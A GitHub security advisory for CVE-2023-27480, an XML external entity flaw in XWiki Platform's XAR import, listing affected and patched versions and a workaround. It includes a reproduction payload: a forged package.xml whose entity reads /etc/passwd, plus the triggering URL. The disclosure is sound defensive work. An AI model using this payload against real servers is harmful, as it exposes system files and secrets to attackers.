Headline
GHSA-gx4f-976g-7g6v: XWiki Platform vulnerable to data leak via Improper Restriction of XML External Entity Reference
Impact
Any user with edit rights on a document can trigger a XAR import on a forged XAR file, leading to the ability to display the content of any file on the XWiki server host.
Example to reproduce:
- Create a forget XAR file and inside it, have the following
package.xmlcontent:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <package> <infos> <name>&xxe;</name> <description> &xxe; Helper pages for creating and listing Class/Template/Sheets</description> <licence></licence> <author>XWiki.Admin</author> ... - Upload it onto a wiki page (e.g.
XXE) as an attachment (e.g.test.xar). - Call the page using
http://localhost:8080/xwiki/bin/view/Main/XXE?sheet=XWiki.AdminImportSheet&file=test.xar
You’ll then notice that the displayed UI contains the content of the /etc/passwd file.
Patches
The vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10-rc-1.
Workarounds
You’d need to get XWiki Platform sources and apply the changes from https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434 to the XarPackage java class and then copy the modified version to your WEB-INF/classes directory (or rebuild the xwiki-platform-xar-model maven module and replace the one found in WEB-INF/lib/).
References
- https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434
- https://jira.xwiki.org/browse/XWIKI-20320
For more information
If you have any questions or comments about this advisory:
- Open an issue in Jira XWiki.org
- Email us at Security Mailing List
- GitHub Advisory Database
- GitHub Reviewed
- CVE-2023-27480
XWiki Platform vulnerable to data leak via Improper Restriction of XML External Entity Reference
High severity GitHub Reviewed Published Mar 7, 2023 in xwiki/xwiki-platform • Updated Mar 8, 2023
Package
maven org.xwiki.platform:xwiki-platform-xar-model (Maven)
Affected versions
>= 1.1-milestone-3, < 13.10.11
>= 14.0, < 14.4.7
>= 14.5, < 14.10-rc-1
Patched versions
13.10.11
14.4.7
14.10-rc-1
Impact
Any user with edit rights on a document can trigger a XAR import on a forged XAR file, leading to the ability to display the content of any file on the XWiki server host.
Example to reproduce:
Create a forget XAR file and inside it, have the following package.xml content:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<package> <infos> <name>&xxe;</name> <description> &xxe; Helper pages for creating and listing Class/Template/Sheets</description> <licence></licence> <author>XWiki.Admin</author> …
Upload it onto a wiki page (e.g. XXE) as an attachment (e.g. test.xar).
Call the page using http://localhost:8080/xwiki/bin/view/Main/XXE?sheet=XWiki.AdminImportSheet&file=test.xar
You’ll then notice that the displayed UI contains the content of the /etc/passwd file.
Patches
The vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10-rc-1.
Workarounds
You’d need to get XWiki Platform sources and apply the changes from xwiki/xwiki-platform@e3527b9 to the XarPackage java class and then copy the modified version to your WEB-INF/classes directory (or rebuild the xwiki-platform-xar-model maven module and replace the one found in WEB-INF/lib/).
References
- xwiki/xwiki-platform@e3527b9
- https://jira.xwiki.org/browse/XWIKI-20320
For more information
If you have any questions or comments about this advisory:
- Open an issue in Jira XWiki.org
- Email us at Security Mailing List
References
- GHSA-gx4f-976g-7g6v
- https://nvd.nist.gov/vuln/detail/CVE-2023-27480
- xwiki/xwiki-platform@e3527b9
- https://jira.xwiki.org/browse/XWIKI-20320
Published by the National Vulnerability Database
Mar 7, 2023
Published to the GitHub Advisory Database
Mar 8, 2023
Related news
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In affected versions any user with edit rights on a document can trigger an XAR import on a forged XAR file, leading to the ability to display the content of any file on the XWiki server host. This vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10-rc-1. Users are advised to upgrade. Users unable to upgrade may apply the patch `e3527b98fd` manually.